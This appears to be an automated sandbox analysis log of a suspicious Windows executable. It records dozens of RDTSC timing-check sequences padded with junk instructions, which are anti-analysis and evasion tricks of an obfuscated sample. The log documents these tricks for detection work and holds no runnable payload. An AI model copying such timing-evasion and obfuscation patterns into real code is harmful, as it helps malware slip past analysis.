Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB06C9 second address: 4AB06D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB06D8 second address: 4AB06EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB06EB second address: 4AB0734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 13F560EAh 0x00000008 jmp 00007F9B3082992Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F9B3082992Bh 0x0000001a adc esi, 78901A3Eh 0x00000020 jmp 00007F9B30829939h 0x00000025 popfd 0x00000026 mov ebx, esi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB0734 second address: 4AB073A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AB073A second address: 4AB073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AC0ED9 second address: 4AC0F3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 mov ch, B6h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F9B30E293C8h 0x00000010 mov dword ptr [esp], ebp 0x00000013 pushad 0x00000014 movzx esi, bx 0x00000017 mov eax, edx 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F9B30E293BEh 0x00000024 pushfd 0x00000025 jmp 00007F9B30E293C2h 0x0000002a add cx, 1678h 0x0000002f jmp 00007F9B30E293BBh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD02C9 second address: 4AD0317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9B30829931h 0x00000009 and cx, CA96h 0x0000000e jmp 00007F9B30829931h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F9B3082992Ch 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9B3082992Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD0317 second address: 4AD031D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD031D second address: 4AD034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9B3082992Ch 0x00000008 pop ecx 0x00000009 mov dh, FDh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9B30829934h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AD034B second address: 4AD0351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF02BC second address: 4AF02C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF02C2 second address: 4AF0308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edx, ecx 0x0000000c popad 0x0000000d mov dword ptr [esp], ecx 0x00000010 pushad 0x00000011 mov ebx, 76A41384h 0x00000016 movsx edx, cx 0x00000019 popad 0x0000001a mov eax, dword ptr [778165FCh] 0x0000001f jmp 00007F9B30E293C4h 0x00000024 test eax, eax 0x00000026 pushad 0x00000027 call 00007F9B30E293BEh 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0308 second address: 4AF035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 mov si, dx 0x00000009 pushfd 0x0000000a jmp 00007F9B30829933h 0x0000000f or si, 3EAEh 0x00000014 jmp 00007F9B30829939h 0x00000019 popfd 0x0000001a popad 0x0000001b popad 0x0000001c je 00007F9BA34CCF46h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F9B3082992Dh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF035B second address: 4AF0381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9B30E293BDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0381 second address: 4AF0391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B3082992Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0391 second address: 4AF03A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF03A2 second address: 4AF03A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF03A6 second address: 4AF03AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF03AC second address: 4AF03D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829930h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d call 00007F9B3082992Eh 0x00000012 movzx eax, dx 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF03D8 second address: 4AF040C instructions: 0x00000000 rdtsc 0x00000002 mov ax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 ror eax, cl 0x0000000a jmp 00007F9B30E293BBh 0x0000000f leave 0x00000010 pushad 0x00000011 mov bh, al 0x00000013 popad 0x00000014 retn 0004h 0x00000017 nop 0x00000018 mov esi, eax 0x0000001a lea eax, dword ptr [ebp-08h] 0x0000001d xor esi, dword ptr [00142014h] 0x00000023 push eax 0x00000024 push eax 0x00000025 push eax 0x00000026 lea eax, dword ptr [ebp-10h] 0x00000029 push eax 0x0000002a call 00007F9B358197DBh 0x0000002f push FFFFFFFEh 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007F9B30E293BFh 0x00000039 mov edi, ecx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF040C second address: 4AF0412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0412 second address: 4AF0416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0416 second address: 4AF0481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jmp 00007F9B30829933h 0x0000000e ret 0x0000000f nop 0x00000010 push eax 0x00000011 call 00007F9B35219D82h 0x00000016 mov edi, edi 0x00000018 jmp 00007F9B30829936h 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F9B30829936h 0x00000026 xchg eax, ebp 0x00000027 jmp 00007F9B30829930h 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push edi 0x00000032 pop esi 0x00000033 mov ax, bx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AF0481 second address: 4AF0487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0021 second address: 4AA0073 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 2D9C246Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, esi 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9B30829933h 0x00000016 jmp 00007F9B30829933h 0x0000001b popfd 0x0000001c call 00007F9B30829938h 0x00000021 pop esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0073 second address: 4AA0078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0078 second address: 4AA0099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, 75h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9B30829935h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0099 second address: 4AA0119 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9B30E293BEh 0x0000000f mov ebp, esp 0x00000011 jmp 00007F9B30E293C0h 0x00000016 and esp, FFFFFFF8h 0x00000019 pushad 0x0000001a jmp 00007F9B30E293BEh 0x0000001f mov bx, ax 0x00000022 popad 0x00000023 xchg eax, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ebx 0x00000028 pop ecx 0x00000029 pushfd 0x0000002a jmp 00007F9B30E293C5h 0x0000002f sbb ax, 1E66h 0x00000034 jmp 00007F9B30E293C1h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0119 second address: 4AA011F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA011F second address: 4AA0123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0123 second address: 4AA0127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0127 second address: 4AA0155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bh, ah 0x0000000c jmp 00007F9B30E293C1h 0x00000011 popad 0x00000012 xchg eax, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9B30E293BDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0155 second address: 4AA01B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A9B2h 0x00000007 mov dx, AEFEh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f jmp 00007F9B30829932h 0x00000014 mov dword ptr [esp], ebx 0x00000017 pushad 0x00000018 mov bx, cx 0x0000001b pushfd 0x0000001c jmp 00007F9B3082992Ah 0x00000021 sbb eax, 0F04CDF8h 0x00000027 jmp 00007F9B3082992Bh 0x0000002c popfd 0x0000002d popad 0x0000002e mov ebx, dword ptr [ebp+10h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F9B30829930h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA01B2 second address: 4AA01C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA01C1 second address: 4AA0234 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9B3082992Ch 0x00000011 sbb si, B9E8h 0x00000016 jmp 00007F9B3082992Bh 0x0000001b popfd 0x0000001c pushad 0x0000001d mov bx, si 0x00000020 pushfd 0x00000021 jmp 00007F9B30829932h 0x00000026 sub ah, 00000048h 0x00000029 jmp 00007F9B3082992Bh 0x0000002e popfd 0x0000002f popad 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 mov cl, dl 0x00000035 mov ah, 1Fh 0x00000037 popad 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0234 second address: 4AA0238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0238 second address: 4AA023E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA023E second address: 4AA0260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0260 second address: 4AA0266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0266 second address: 4AA0287 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ah, 91h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0287 second address: 4AA02DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 31F5BEF1h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c mov di, 40B0h 0x00000010 pushfd 0x00000011 jmp 00007F9B30829939h 0x00000016 add ax, 8C36h 0x0000001b jmp 00007F9B30829931h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, edi 0x00000023 pushad 0x00000024 call 00007F9B3082992Ch 0x00000029 pop edi 0x0000002a push eax 0x0000002b push edx 0x0000002c mov dl, ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA02DC second address: 4AA032E instructions: 0x00000000 rdtsc 0x00000002 call 00007F9B30E293C9h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e mov eax, edi 0x00000010 pushad 0x00000011 jmp 00007F9B30E293BFh 0x00000016 mov bx, cx 0x00000019 popad 0x0000001a popad 0x0000001b je 00007F9BA3B176B6h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F9B30E293C1h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA032E second address: 4AA0399 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F9B3082992Eh 0x00000015 je 00007F9BA3517BF9h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov edi, 02C2BDC0h 0x00000023 pushfd 0x00000024 jmp 00007F9B30829939h 0x00000029 sbb esi, 40FBDDC6h 0x0000002f jmp 00007F9B30829931h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA0399 second address: 4AA03E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushfd 0x00000007 jmp 00007F9B30E293C3h 0x0000000c xor ecx, 512A84FEh 0x00000012 jmp 00007F9B30E293C9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov edx, dword ptr [esi+44h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9B30E293BDh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA03E8 second address: 4AA04A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushad 0x0000000e mov edi, eax 0x00000010 mov esi, 6A396135h 0x00000015 popad 0x00000016 movzx esi, di 0x00000019 popad 0x0000001a test edx, 61000000h 0x00000020 pushad 0x00000021 call 00007F9B30829933h 0x00000026 pushfd 0x00000027 jmp 00007F9B30829938h 0x0000002c xor eax, 07325FE8h 0x00000032 jmp 00007F9B3082992Bh 0x00000037 popfd 0x00000038 pop eax 0x00000039 pushfd 0x0000003a jmp 00007F9B30829939h 0x0000003f sub ax, C606h 0x00000044 jmp 00007F9B30829931h 0x00000049 popfd 0x0000004a popad 0x0000004b jne 00007F9BA3517B28h 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F9B30829938h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4AA04A8 second address: 4AA04AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90769 second address: 4A9076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A9076D second address: 4A9078A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A9078A second address: 4A90790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90790 second address: 4A90794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90794 second address: 4A907B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829933h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A907B4 second address: 4A907B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A907B8 second address: 4A907CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A907CA second address: 4A907DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B30E293BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A907DC second address: 4A907E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A908F3 second address: 4A908F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A908F9 second address: 4A908FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A908FD second address: 4A9093B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [77816968h], 00000002h 0x0000000f pushad 0x00000010 pushad 0x00000011 mov ebx, 1E54D2AEh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, edx 0x0000001b popad 0x0000001c jne 00007F9BA3B1EE53h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov di, cx 0x00000028 call 00007F9B30E293C4h 0x0000002d pop eax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A9093B second address: 4A9097E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F9B3082992Ch 0x0000000b jmp 00007F9B30829935h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov edx, dword ptr [ebp+0Ch] 0x00000017 jmp 00007F9B3082992Eh 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A9097E second address: 4A90982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90982 second address: 4A90986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90986 second address: 4A9098C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A9098C second address: 4A90992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90992 second address: 4A90996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A90996 second address: 4A9099A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A9099A second address: 4A909BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9B30E293C8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A909BD second address: 4A909C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A909C3 second address: 4A909D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, B951h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A909D6 second address: 4A909DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A909DC second address: 4A909E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 4A909E0 second address: 4A909E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
